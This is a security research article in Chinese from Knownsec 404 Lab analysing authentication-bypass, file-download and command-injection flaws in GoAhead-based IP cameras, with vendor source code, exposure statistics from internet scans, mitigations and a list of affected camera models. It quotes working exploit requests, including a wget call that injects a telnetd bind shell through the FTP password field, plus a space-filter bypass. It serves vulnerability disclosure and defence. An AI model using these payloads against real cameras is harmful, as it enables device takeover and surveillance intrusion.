PDF 版本下載:抓住“新代碼”的影子 —— 基于GoAhead系列網絡攝像頭多個漏洞分析

Author:知道創宇404實驗室 Date:2017/03/19

一.漏洞背景

GoAhead作為世界上最受歡迎的嵌入式Web服務器被部署在數億臺設備中,是各種嵌入式設備與應用的理想選擇。當然,各廠商也會根據不同產品需求對其進行一定程度的二次開發。

2017年3月7日,Seebug漏洞平臺收錄了一篇基于GoAhead系列攝像頭的多個漏洞。該漏洞為Pierre Kim在博客上發表的一篇文章,披露了存在于1250多個攝像頭型號的多個通用型漏洞。其在文章中將其中一個驗證繞過漏洞歸類為GoAhead服務器的漏洞,但事后證明,該漏洞卻是由廠商二次開發GoAhead服務器產生的。于此同時,Pierre Kim將其中兩個漏洞組合使用,成功獲取了攝像頭的最高權限。

二.漏洞分析

當我們開始著手分析這些漏洞時發現GoAhead官方源碼不存在該漏洞,解開的更新固件無法找到對應程序,一系列困難接踵而至。好在根據該漏洞特殊變量名稱loginuse和loginpas,我們在github上找到一個上個月還在修改的門鈴項目。抓著這個“新代碼”的影子,我們不僅分析出了漏洞原理,還通過分析結果找到了漏洞新的利用方式。

由于該項目依賴的一些外部環境導致無法正常編譯,我們僅僅通過靜態代碼分析得出結論,因此難免有所疏漏。如有錯誤,歡迎指正。:)

1.驗證繞過導致的信息(登錄憑據)泄漏漏洞

作者給出POC: curl http://ip:port/system.ini?loginuse&loginpas

根據作者給出的POC,我們進行了如下測試:

可以看出,只要url中含有loginuseloginpas這兩個值即無需驗證。甚至當這兩個值對應的賬號密碼為空或者為錯誤的zzzzzzzzzzzzzz時均可通過驗證。

看到這里,我們大致可以判斷出驗證loginuseloginpas的邏輯問題導致該漏洞的出現。于是,在此門鈴項目中直接搜索loginuse定位到關鍵函數。

/func/ieparam.c6407-6485AdjustUserPri函數如下:

unsigned char AdjustUserPri( char* url )
{
    int     iRet;
    int     iRet1;
    unsigned char   byPri = 0;
    char        loginuse[32];
    char        loginpas[32];
    char        decoderbuf[128];
    char        temp2[128];
    memset( loginuse, 0x00, 32 );
    memset( loginpas, 0x00, 32 );
    memset( temp2, 0x00, 128 );
    iRet = GetStrParamValue( url, "loginuse", temp2, 31 );
//判斷是否存在loginuse值,并將獲取到的值賦給temp2
    if ( iRet == 0x00 )
    {
        memset( decoderbuf, 0x00, 128 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
        memset( loginuse, 0x00, 31 );
        strcpy( loginuse, decoderbuf );
    }
//如果存在,則將temp2復制到loginuse數組中
    memset( temp2, 0x00, 128 );
    iRet1 = GetStrParamValue( url, "loginpas", temp2, 31 );
//判斷是否存在loginpas值,并將獲取到的值賦給temp2
    if ( iRet1 == 0x00 )
    {
        memset( decoderbuf, 0x00, 128 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
        memset( loginpas, 0x00, 31 );
        strcpy( loginpas, decoderbuf );
    }
//如果存在,則將temp2復制到loginpas數組中
    if ( iRet == 0 )
    {
        if ( iRet1 == 0x00 )
        {
            //printf("user %s pwd:%s\n",loginuse,loginpas);
            byPri = GetUserPri( loginuse, loginpas );
//如果兩次都獲取到了對應的值,則通過GetUserPri進行驗證。
            return byPri;
        }
    }

    memset( loginuse, 0x00, 32 );
    memset( loginpas, 0x00, 32 );
    memset( temp2, 0x00, 128 );
    iRet = GetStrParamValue( url, "user", temp2, 31 );

    if ( iRet == 0x00 )
    {
        memset( decoderbuf, 0x00, 128 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
        memset( loginuse, 0x00, 31 );
        strcpy( loginuse, decoderbuf );
    }

    memset( temp2, 0x00, 128 );
    iRet1 = GetStrParamValue( url, "pwd", temp2, 31 );

    if ( iRet1 == 0x00 )
    {
        memset( decoderbuf, 0x00, 128 );
        URLDecode( temp2, strlen( temp2 ), decoderbuf, 15 );
        memset( loginpas, 0x00, 31 );
        strcpy( loginpas, decoderbuf );
    }

    if ( iRet == 0 )
    {
        if ( iRet1 == 0x00 )
        {
            //printf("user %s pwd:%s\n",loginuse,loginpas);
            byPri = GetUserPri( loginuse, loginpas );
            return byPri;
        }
    }
//獲取user和pwd參數,邏輯結構與上方的loginuse和loginpas相同。
    return byPri;
}

我們對其中步驟做了注釋,根據這段邏輯,我們先通過GetStrParamValue()獲取loginuseloginpas對應值,然后將獲取值通過GetUserPri()函數進行驗證。跟進GetStrParamValue()這個函數,我們發現了更奇怪的事情。 command/cmd_thread.c中第13-51GetStrParamValue()函數如下:

//結合上面代碼中的iRet = GetStrParamValue( url, "loginuse", temp2, 31 );審視這段代碼
int GetStrParamValue( const char* pszSrc, const char* pszParamName, char* pszParamValue )
{
    const char* pos1, *pos = pszSrc;
    unsigned char       len = 0;

    if ( !pszSrc || !pszParamName )
    {
        return -1;
    }
//判斷url和需要查找的變量loginuse是否存在

    pos1 = strstr( pos, pszParamName );

    if ( !pos1 )
    {
        return -1;
    }
//由于url中含有loginuse,所以這里pos1可以取到對應的值,故不進入if(!pos1)

    pos = pos1 + strlen( pszParamName ) + 1;
    pos1 = strstr( pos, "&" );

    if ( pos1 )
    {
        memcpy( pszParamValue, pos, pos1 - pos );
//根據正常情況loginuse=admin&loginpas=xxx,這一段代碼的邏輯是從loginuse后一位也就是等于號開始取值直到&號作為loginuse對應的值。
//根據作者的POC:loginuse&loginpas,最終這里pos應該位于pos1后一位,所以pos1-pos = -1
//memcpy( pszParamValue, pos, -1 );無法運行成功。
        len = pos1 - pos;
    }

    else
    {
        pos1 = strstr( pos, " " );

        if ( pos1 != NULL )
        {
            memcpy( pszParamValue, pos, pos1 - pos );
            len = pos1 - pos;
        }
    }
    return 0;
//不論上述到底如何取值,最終都可以返回0
}

根據作者給出的POC,在memcpy()函數處會導致崩潰,但事實上,我們的web服務器正常運行并返回system.ini具體內容。這一點令我們百思不得其解。當我們對AdjustUserPri()函數向上溯源時終于弄清楚是上層代碼問題導致代碼根本無法運行到這里,所以也不會導致崩潰。 func/ieparam.c文件第7514-7543行調用了AdjustUserPri()函數:

if ( auth == 0x00 )
{
    char temp[512];
    int  wlen = 0;

    if ( len )
    {
        return 0;
    }

    #if 0
    byPri = AdjustUserPri( url );

    printf("url:%s byPri %d\n",url,byPri);
    if ( byPri == 0x00 )
    {
        memset( temp, 0x00, 512 );
        wlen += sprintf( temp + wlen, "var result=\"Auth Failed\";\r\n" );
        memcpy( pbuf, temp, wlen );
        return wlen;
    }
    #else
    byPri = 255;
    #endif
}

else
{
    byPri = pri;
}

在之前跟GetUserPri()函數時有一行注釋://result:0->error user or passwd error 1->vistor 2->opration 255->admin。當我們回頭再看這段函數時,可以發現開發者直接將驗證部分注釋掉,byPri被直接賦值為255,這就意味著只要進入這段邏輯,用戶權限就直接是管理員了。這里已經可以解釋本小節開篇進行的測試了,也就是為什么我們輸入空的用戶名和密碼或者錯誤的用戶名和密碼也可以通過驗證。

很遺憾,我們沒有繼續向上溯源找到這里的auth這個值到底是如何而來。不過根據這里的代碼邏輯,我們可以猜測,當auth0時,通過GET請求中的參數驗證用戶名密碼。當auth不為0時,通過HTTP摘要驗證方式來驗證用戶名密碼。

再看一遍上方代碼,GET請求中含有參數loginuseloginpas就直接可以通過驗證。那么AdjustUserPri()函數中另外兩個具有相同邏輯的參數userpwd呢? 成功抓住"新代碼"的影子

2.遠程命令執行漏洞一(需登錄)

作者給出的exp如下:

user@kali$ wget -qO- 'http://192.168.1.107/set_ftp.cgi?next_url=ftp.htm&loginuse=admin&loginpas=admin&svr=192.168.1.1&port=21&user=ftp&pwd=$(telnetd -p25 -l/bin/sh)&dir=/&mode=PORT&upload_interval=0'
user@kali$ wget -qO- 'http://192.168.1.107/ftptest.cgi?next_url=test_ftp.htm&loginuse=admin&loginpas=admin'

可以看到,該exp分為兩步,第一步先設置ftp各種參數,第二步按照第一步設置的各參數測試ftp鏈接,同時導致我們在第一步設置的命令被執行。

我們在func/ieparam.c文件中找到了set_ftp.cgiftptest.cgi的調用過程

383:    pdst = strstr( pcmd, "ftptest.cgi" );
384:
385:    if ( pdst != NULL )
386:    {
387:        return CGI_IESET_FTPTEST;
388:    }

455:    pdst = strstr( pcmd, "set_ftp.cgi" );
456:
457:    if ( pdst != NULL )
458:    {
459:        return CGI_IESET_FTP;
460:    }

7658:   case CGI_IESET_FTPTEST:
7659:       if ( len == 0x00 )
7660:       {
7661:           iRet = cgisetftptest( pbuf, pparam, byPri );
7662:       }

7756:   case CGI_IESET_FTP:
7757:       if ( len == 0x00 )
7758:       {
7759:           iRet = cgisetftp( pbuf, pparam, byPri );
7760:           NoteSaveSem();
7761:       }

首先跟蹤cgisetftp( pbuf, pparam, byPri );這個函數,我們發現,該函數僅僅是獲取到我們請求的參數并將參數賦值給結構體中的各個變量。關鍵代碼如下:

//這部分代碼可以不做細看,下一步我們進行ftp測試連接的時候對照該部分尋找對應的值就可以了。
    iRet = GetStrParamValue( pparam, "svr", temp2, 63 );
    URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
    strcpy( bparam.stFtpParam.szFtpSvr, decoderbuf );

    GetIntParamValue( pparam, "port", &iValue );
    bparam.stFtpParam.nFtpPort = iValue;

    iRet = GetStrParamValue( pparam, "user", temp2, 31 );
    URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
    strcpy( bparam.stFtpParam.szFtpUser, decoderbuf );

    memset( temp2, 0x00, 64 );
    iRet = GetStrParamValue( pparam, "pwd", temp2, 31 );
    URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
    strcpy( bparam.stFtpParam.szFtpPwd, decoderbuf );
//我們構造的命名被賦值給了參數bparam.stFtpParam.szFtpPwd
    iRet = GetStrParamValue( pparam, "dir", temp2, 31 );
    URLDecode( temp2, strlen( temp2 ), decoderbuf, 31 );
    strcpy( bparam.stFtpParam.szFtpDir, decoderbuf );
    if(decoderbuf[0] == 0)
    {
        strcpy(bparam.stFtpParam.szFtpDir, "/" );
    }

    GetIntParamValue( pparam, "mode", &iValue );
    bparam.stFtpParam.byMode = iValue;
    GetIntParamValue( pparam, "upload_interval", &iValue );
    bparam.stFtpParam.nInterTime = iValue;

    iRet = GetStrParamValue( pparam, "filename", temp1, 63 );
    URLDecode( temp2, strlen( temp2 ), decoderbuf, 63 );
    strcpy( bparam.stFtpParam.szFileName, decoderbuf );

綜上所述,set_ftp.cgi僅僅是將我們請求的各參數寫入全局變量中。 接下來是ftptest.cgi部分,也就是調用了iRet = cgisetftptest( pbuf, pparam, byPri );這個函數。在該函數中,最為關鍵的函數為DoFtpTest();。直接跳到func/ftp.c文件中找到函數DoFtpTest()

int DoFtpTest( void )
{
    int     iRet = 0;
    iRet = FtpConfig( 0x01, NULL );

    if ( iRet == 0 )
    {
        char cmd[128];
        memset(cmd, 0, 128);
        sprintf(cmd, "/tmp/ftpupdate1.sh > %s", FILE_FTP_TEST_RESULT);
        iRet = DoSystem(cmd);
        //iRet = DoSystem( "/tmp/ftpupdate1.sh > /tmp/ftpret.txt" );
    }

    return iRet;
}

可以看到,執行 FtpConfig()函數后運行了/tmp/ftpupdate1.sh。先讓我們看看 FtpConfig()函數如何 處理該問題:

int FtpConfig( char test, char* filename )
{
......
    fp = fopen( "/tmp/ftpupdate1.sh", "wb" );

    memset( cmd, 0x00, 128 );
    sprintf( cmd, "/system/system/bin/ftp -n<<!\n" );
    fwrite( cmd, 1, strlen( cmd ), fp );
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "open %s %d\n", bparam.stFtpParam.szFtpSvr, bparam.stFtpParam.nFtpPort );
    fwrite( cmd, 1, strlen( cmd ), fp );
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "user %s %s\n", bparam.stFtpParam.szFtpUser, bparam.stFtpParam.szFtpPwd );
    fwrite( cmd, 1, strlen( cmd ), fp );
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "binary\n" );
    fwrite( cmd, 1, strlen( cmd ), fp );

    if ( bparam.stFtpParam.byMode == 1 )    //passive
    {
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "pass\n" );
        fwrite( cmd, 1, strlen( cmd ), fp );
    }
#ifdef CUSTOM_DIR

    char sub_temp[ 128 ];
    memset(sub_temp, 0, 128);
    //strcpy(sub_temp, bparam.stFtpParam.szFtpDir);
    sprintf(sub_temp, "%s/%s", bparam.stFtpParam.szFtpDir,bparam.stIEBaseParam.dwDeviceID); 

    flag = sub_dir(fp,sub_temp);
    if(flag){
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir );
        fwrite( cmd, 1, strlen( cmd ), fp );
    }
#else
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "cd %s\n", bparam.stFtpParam.szFtpDir );
    fwrite( cmd, 1, strlen( cmd ), fp );

#endif
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "lcd /tmp\n" );
    fwrite( cmd, 1, strlen( cmd ), fp );

    if ( test == 0x01 )
    {
        FtpFileTest();
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "put ftptest.txt\n" );
        fwrite( cmd, 1, strlen( cmd ), fp );
    }

    else
    {
        char    filename1[128];
        memset( filename1, 0x00, 128 );
        memcpy( filename1, filename + 5, strlen( filename ) - 5 );
        memset( cmd, 0x00, 128 );
        sprintf( cmd, "put %s\n", filename1 );
        fwrite( cmd, 1, strlen( cmd ), fp );
    }

    memset( cmd, 0x00, 128 );
    sprintf( cmd, "close\n" );
    fwrite( cmd, 1, strlen( cmd ), fp );
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "bye\n" );
    fwrite( cmd, 1, strlen( cmd ), fp );
    memset( cmd, 0x00, 128 );
    sprintf( cmd, "!\n" );
    fwrite( cmd, 1, strlen( cmd ), fp );
    fclose( fp );
    iRet = access( "/tmp/ftpupdate1.sh", X_OK );

    if ( iRet )
    {
        DoSystem( "chmod a+x /tmp/ftpupdate1.sh" );
    }

    return 0;
}

至此,邏輯很清晰了。在FtpConfig()函數中,將我們之前在設置的時候輸入的各個值寫入了/tmp/ftpupdate1.sh中,然后在DoFtpTest()中運行該腳本,導致最后的命令執行。這一點,同樣可以在漏洞作者原文中得到證明:

作者原文中展示的/tmp/ftpupload.sh:
/ # cat /tmp/ftpupload.sh 
/bin/ftp -n<<!
open 192.168.1.1 21
user ftp $(telnetd -l /bin/sh -p 25)ftp
binary
lcd /tmp
put ftptest.txt
close
bye
!
/ #

實際測試中,我們發現:如果直接用作者給出的exp去嘗試RCE往往是不能成功的。從http://ip:port/get_params.cgi?user=username&pwd=password可以發現,我們注入的命令在空格處被截斷了。

于是我們用${IFS}替換空格(還可以采用+代替空格):

但是由于有長度限制再次被截斷,調整長度,最終成功執行命令:

成功抓住新代碼的影子

3.GoAhead繞過驗證文件下載漏洞

2017年3月9日,Pierre Kim在文章中增加了兩個鏈接,描述了一個GoAhead 2.1.8版本之前的任意文件下載漏洞。攻擊者通過使用該漏洞,再結合一個新的遠程命令執行漏洞可以再次獲取攝像頭的最高權限。有意思的是,這個漏洞早在2004年就已被提出并成功修復(http://aluigi.altervista.org/adv/goahead-adv2.txt)。但是由于眾多攝像頭仍然使用存在該漏洞的老代碼,該漏洞仍然可以在眾多攝像頭設備復現。

我們也查找了此門鈴項目中的GoAhead服務器版本。web/release.txt前三行內容如下:

=====================================
GoAhead WebServer 2.1.8 Release Notes
=====================================

再仔細查看websUrlHandlerRequest()內容,發現并未對該漏洞進行修復,說明該漏洞也影響這個門鈴項目。以此類推,本次受影響的攝像頭應該也存在這個漏洞,果不其然: 那么,具體的漏洞成因又是如何呢?讓我們來跟進./web/LINUX/main.c了解該漏洞的成因: initWebs()函數中,關鍵代碼如下:

154:   umOpen();

157:   umAddGroup( T( "adm" ), 0x07, AM_DIGEST, FALSE, FALSE );

159:   umAddUser( admu, admp, T( "adm" ), FALSE, FALSE );
160:   umAddUser( "admin0", "admin0", T( "adm" ), FALSE, FALSE );
161:   umAddUser( "admin1", "admin1", T( "adm" ), FALSE, FALSE );
162:   umAddAccessLimit( T( "/" ), AM_DIGEST, FALSE, T( "adm" ) );

224:   websUrlHandlerDefine( T( "" ), NULL, 0, websSecurityHandler, WEBS_HANDLER_FIRST );
227:   websUrlHandlerDefine( T( "" ), NULL, 0, websDefaultHandler,WEBS_HANDLER_LAST );

其中,150-160um開頭的函數為用戶權限控制的相關函數。主要做了以下四件事情: 1. umOpen() 打開用戶權限控制 2. umAddGroup() 增加用戶組adm,并設置該用戶組用戶使用HTTP摘要認證方式登錄 3. umAddUser() 增加用戶admin,admin0,admin1,并且這三個用戶均屬于adm用戶組 4. umAddAccessLimit() 增加限制路徑/,凡是以/開頭的路徑都要通過HTTP摘要認證的方式登錄屬于adm組的用戶。

緊接著,在220多行通過websUrlHandlerDefine()函數運行了兩個HandlerwebsSecurityHandlerwebsDefaultHandler。在websSecurityHandler中,對HTTP摘要認證方式進行處理。關鍵代碼如下:

86:           accessLimit = umGetAccessLimit( path );

115:         am = umGetAccessMethodForURL( accessLimit );
116:         nRet = 0;

118-242:  if ( ( flags & WEBS_LOCAL_REQUEST ) && ( debugSecurity == 0 ) ){……}

245:         return nRet;

第86行,umGetAccessLimit()函數用于將我們請求的路徑規范化,主要邏輯就是去除路徑最后的/或者\\,確保我們請求的是一個文件。umGetAccessMethodForURL()函數用于獲取我們請求的路徑對應的權限。這里,我們請求的路徑是system.ini,根據上文,我們的設置是對/路徑需要進行HTTP摘要認證,由于程序判斷system.ini不屬于/路徑,所以這里am為默認的AM_INVALID,即無需驗證。

緊接著向下,nRet初始化賦值為0.在118-242行中,如果出現了賬號密碼錯誤等情況,則會將nRet賦值為1,表示驗證不通過。但是由于我們請求的路徑無需驗證,所以判斷結束時nRet仍為0。因此,順利通過驗證,獲取到對應的文件內容。

就這樣,我們再次抓住了這個”新代碼”的影子,雖然這個2004年的漏洞讓我們不得不為新代碼這三個字加上了雙引號。

4.遠程命令執行漏洞二(需登錄)

在Pierre Kim新增的兩個鏈接中,還介紹了一種新的遠程命令執行的方式。即通過set_mail.cgimailtest.cgi來執行命令。 與上一個遠程命令執行漏洞一樣,我們先在func/ieparam.c文件中找到set_mail.cgimailtest.cgi的調用過程

257:    pdst = strstr( pcmd, "set_mail.cgi" );
258:
259:    if ( pdst != NULL )
260:    {
261:        return CGI_IESET_MAIL;
262:    }

348:    pdst = strstr( pcmd, "mailtest.cgi" );
349:
350:    if ( pdst != NULL )
351:    {
352:        return CGI_IESET_MAILTEST;
353:}

7674:   case CGI_IESET_MAILTEST:
7675:       if ( len == 0x00 )
7676:       {
7677:           iRet = cgisetmailtest( pbuf, pparam, byPri );
7678:       }
7679:
7680:       break;

7746:   case CGI_IESET_MAIL:
7747:       if ( len == 0x00 )
7748:       {
7749:           iRet = cgisetmail( pbuf, pparam, byPri );
7750:           IETextout( "-------------OK--------" );
7751:           NoteSaveSem();
7752:       }
7753:
7754:       break;

跟上一個遠程命令執行漏洞類似,cgisetmail()函數用于將各參數儲存到結構體,例如sender參數賦值給bparam.stMailParam.szSenderreceiver1參數賦值給bparam.stMailParam.szReceiver1。 接著,來到了cgisetmailtest()函數:

int cgisetmailtest( unsigned char* pbuf, char* pparam, unsigned char byPri )
{
    unsigned char   temp[2048];
    int             len = 0;
    int             result = 0;
    char            nexturl[64];
    int     iRet = 0;
    memset( temp, 0x00, 2048 );

    //iRet = DoMailTest();
    if(iRet == 0)
    {
        IETextout("Mail send over, OK or Not");
    }
    /* END:   Added by Baggio.wu, 2013/10/25 */

    memset( nexturl, 0x00, 64 );
    iRet = GetStrParamValue( pparam, "next_url", nexturl, 63 );

    if ( iRet == 0x00 )
    {
#if 1
        len += RefreshUrl( temp + len, nexturl );
#endif
        memcpy( pbuf, temp, len );
    }

    else
    {
        len += sprintf( temp + len, "var result=\"ok\";\r\n" );
        memcpy( pbuf, temp, len );
    }

    printf( "sendmail len:%d\n", len );
    return len;
}

該函數第十行已被注釋掉。這是使用此函數發送郵件證據的唯一可尋之處。雖然被注釋掉了,我們也要繼續跟蹤DoMailTest()這個函數:

int DoMailTest( void )  //email test
{
    int     iRet = -1;
    char    cmd[256];

    if ( bparam.stMailParam.szSender[0] == 0 )
    {
        return -1;
    }

    if ( bparam.stMailParam.szReceiver1[0] != 0x00 )
    {
        iRet = EmailConfig();

        if ( iRet )
        {
            return -1;
        }

        memset( cmd, 0x00, 256 );

        /* BEGIN: Modified by Baggio.wu, 2013/9/9 */
        sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\"  %s",
                 bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );
        //sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -v -s \"mail test\"  %s",
        //         bparam.stMailParam.szReceiver1 );

        printf( "start cmd:%s\n", cmd );
        EmailWrite( cmd, strlen( cmd ) );
        //emailtest();
        printf( "cmd:%s\n", cmd );

    }

    return iRet;
}

可以看到sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 );發件人和收件人都直接被拼接成命令導致最后的命令執行。

三.漏洞影響范圍

ZoomEye網絡空間探測引擎探測結果顯示,全球范圍內共查詢到78萬條歷史記錄。我們根據這78萬條結果再次進行探測,發現這些設備一共存在三種情況:

  • 第一種是設備不存在漏洞。
  • 第二種是設備存在驗證繞過漏洞,但是由于web目錄下沒有system.ini,導致最終無法被利用。 可以看到,當我們直接請求system.ini的時候,顯示需要認證,但是當我們繞過驗證之后,卻顯示404 not found

  • 最后一種是設備既存在驗證繞過漏洞,又存在system.ini文件。這些設備就存在被入侵的風險。

我們統計了最后一種設備的數量,數據顯示有近7萬的設備存在被入侵的風險。這7萬設備的國家分布圖如下: 可以看出,美國、中國、韓國、法國、日本屬于重災區。我國一共有 7000 多臺設備可能被入侵,其中近 6000 臺位于香港。我們根據具體數據做成兩張柱狀圖以便查看:

(注:None為屬于中國,但未解析出具體地址的IP)

我們通過查詢ZoomEye網絡空間探測引擎歷史記錄,導出2016年1月1日,2017年1月1日和本報告編寫時2017年3月14日三個時間點的數據進行分析。

在這三個時間點,我們分別收錄了banner中含有GoAhead 5ccc069c403ebaf9f0171e9517f40e41的設備26萬臺、65萬臺和78萬臺。

但是這些ip中,存在漏洞的設備增長趨勢卻完全不同。

可以看到,2016年1月1日已探明的設備中目前僅有2000多臺存在漏洞,2017年1月1日之前探明的設備中有近3萬臺存在漏洞,僅僅兩個多月后的今天,已有近7萬臺設備存在漏洞。

根據以上數據,我們可以做出如下判斷:該漏洞出現時間大約是去年,直到今年被曝光之后才被大家所關注。在此期間,舊攝像頭通過更新有漏洞固件的方式導致了該漏洞的出現,而那些新生產的攝像頭則被銷售到世界各地。根據今年新增的ip的地理位置,我們可以大致判斷出這些存在漏洞的攝像頭今年被銷往何地。 根據數據,我們可以看到,主要銷售到了美國、中國、韓國、日本。中國新增了5316臺存在漏洞的攝像頭,其中4000多臺位于香港。

四.修復方案

1.將存在漏洞的攝像頭設備放置于內網。 2.及時升級到最新固件。 3.對于可能被感染的設備,可以采取重啟的方式來殺死駐留在內存里的惡意進程。

五.參考鏈接

  1. https://www.seebug.org/vuldb/ssvid-92789
  2. https://www.seebug.org/vuldb/ssvid-92748
  3. https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
  4. https://github.com/kuangxingyiqing/bell-jpg
  5. http://aluigi.altervista.org/adv/goahead-adv2.txt

附表1:Pierre Kim給出的受影響設備列表:

列表如下:
3G+IPCam Other
3SVISION Other
3com CASA
3com Other
3xLogic Other
3xLogic Radio
4UCAM Other
4XEM Other
555 Other
7Links 3677
7Links 3677-675
7Links 3720-675
7Links 3720-919
7Links IP-Cam-in
7Links IP-Wi-Fi
7Links IPC-760HD
7Links IPC-770HD
7Links Incam
7Links Other
7Links PX-3615-675
7Links PX-3671-675
7Links PX-3720-675
7Links PX3309
7Links PX3615
7Links ipc-720
7Links px-3675
7Links px-3719-675
7Links px-3720-675
A4Tech Other
ABS Other
ADT RC8021W
AGUILERA AQUILERA
AJT AJT-019129-BBCEF
ALinking ALC
ALinking Other
ALinking dax
AMC Other
ANRAN ip180
APKLINK Other
AQUILA AV-IPE03
AQUILA AV-IPE04
AVACOM 5060
AVACOM 5980
AVACOM H5060W
AVACOM NEW
AVACOM Other
AVACOM h5060w
AVACOM h5080w
Acromedia IN-010
Acromedia Other
Advance Other
Advanced+home lc-1140
Aeoss J6358
Aetos 400w
Agasio A500W
Agasio A502W
Agasio A512
Agasio A533W
Agasio A602W
Agasio A603W
Agasio Other
AirLink Other
Airmobi HSC321
Airsight Other
Airsight X10
Airsight X34A
Airsight X36A
Airsight XC39A
Airsight XX34A
Airsight XX36A
Airsight XX40A
Airsight XX60A
Airsight x10
Airsight x10Airsight
Airsight xc36a
Airsight xc49a
Airsight xx39A
Airsight xx40a
Airsight xx49a
Airsight xx51A
Airsight xx51a
Airsight xx52a
Airsight xx59a
Airsight xx60a
Akai AK7400
Akai SP-T03WP
Alecto 150
Alecto Atheros
Alecto DVC-125IP
Alecto DVC-150-IP
Alecto DVC-1601
Alecto DVC-215IP
Alecto DVC-255-IP
Alecto dv150
Alecto dvc-150ip
Alfa 0002HD
Alfa Other
Allnet 2213
Allnet ALL2212
Allnet ALL2213
Amovision Other
Android+IP+cam IPwebcam
Anjiel ip-sd-sh13d
Apexis AH9063CW
Apexis APM-H803-WS
Apexis APM-H804-WS
Apexis APM-J011
Apexis APM-J011-Richard
Apexis APM-J011-WS
Apexis APM-J012
Apexis APM-J012-WS
Apexis APM-J0233
Apexis APM-J8015-WS
Apexis GENERIC
Apexis H
Apexis HD
Apexis J
Apexis Other
Apexis PIPCAM8
Apexis Pyle
Apexis XF-IP49
Apexis apexis
Apexis apm-
Apexis dealextreme
Aquila+Vizion Other
Area51 Other
ArmorView Other
Asagio A622W
Asagio Other
Asgari 720U
Asgari Other
Asgari PTG2
Asgari UIR-G2
Atheros ar9285
AvantGarde SUMPPLE
Axis 1054
Axis 241S
B-Qtech Other
B-Series B-1
BRAUN HD-560
BRAUN HD505
Beaulieu Other
Bionics Other
Bionics ROBOCAM
Bionics Robocam
Bionics T6892WP
Bionics t6892wp
Black+Label B2601
Bravolink Other
Breno Other
CDR+king APM-J011-WS
CDR+king Other
CDR+king SEC-015-C
CDR+king SEC-016-NE
CDR+king SEC-028-NE
CDR+king SEC-029-NE
CDR+king SEC-039-NE
CDR+king sec-016-ne
CDXX Other
CDXXcamera Any
CP+PLUS CP-EPK-HC10L1
CPTCAM Other
Camscam JWEV-372869-BCBAB
Casa Other
Cengiz Other
Chinavasion Gunnie
Chinavasion H30
Chinavasion IP611W
Chinavasion Other
Chinavasion ip609aw
Chinavasion ip611w
Cloud MV1
Cloud Other
CnM IP103
CnM Other
CnM sec-ip-cam
Compro NC150/420/500
Comtac CS2
Comtac CS9267
Conceptronic CIPCAM720PTIWL
Conceptronic cipcamptiwl
Cybernova Other
Cybernova WIP604
Cybernova WIP604MW
D-Link DCS-910
D-Link DCS-930L
D-Link L-series
D-Link Other
DB+Power 003arfu
DB+Power DBPOWER
DB+Power ERIK
DB+Power HC-WV06
DB+Power HD011P
DB+Power HD012P
DB+Power HD015P
DB+Power L-615W
DB+Power LA040
DB+Power Other
DB+Power Other2
DB+Power VA-033K
DB+Power VA0038K
DB+Power VA003K+
DB+Power VA0044_M
DB+Power VA033K
DB+Power VA033K+
DB+Power VA035K
DB+Power VA036K
DB+Power VA038
DB+Power VA038k
DB+Power VA039K
DB+Power VA039K-Test
DB+Power VA040
DB+Power VA390k
DB+Power b
DB+Power b-series
DB+Power extcams
DB+Power eye
DB+Power kiskFirstCam
DB+Power va033k
DB+Power va039k
DB+Power wifi
DBB IP607W
DEVICECLIENTQ CNB
DKSEG Other
DNT CamDoo
DVR DVR
DVS-IP-CAM Other
DVS-IP-CAM Outdoor/IR
Dagro DAGRO-003368-JLWYX
Dagro Other
Dericam H216W
Dericam H502W
Dericam M01W
Dericam M2/6/8
Dericam M502W
Dericam M601W
Dericam M801W
Dericam Other
Digix Other
Digoo BB-M2
Digoo MM==BB-M2
Digoo bb-m2
Dinon 8673
Dinon 8675
Dinon SEGEV-105
Dinon segev-103
Dome Other
Drilling+machines Other
E-Lock 1000
ENSIDIO IP102W
EOpen Open730

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/252/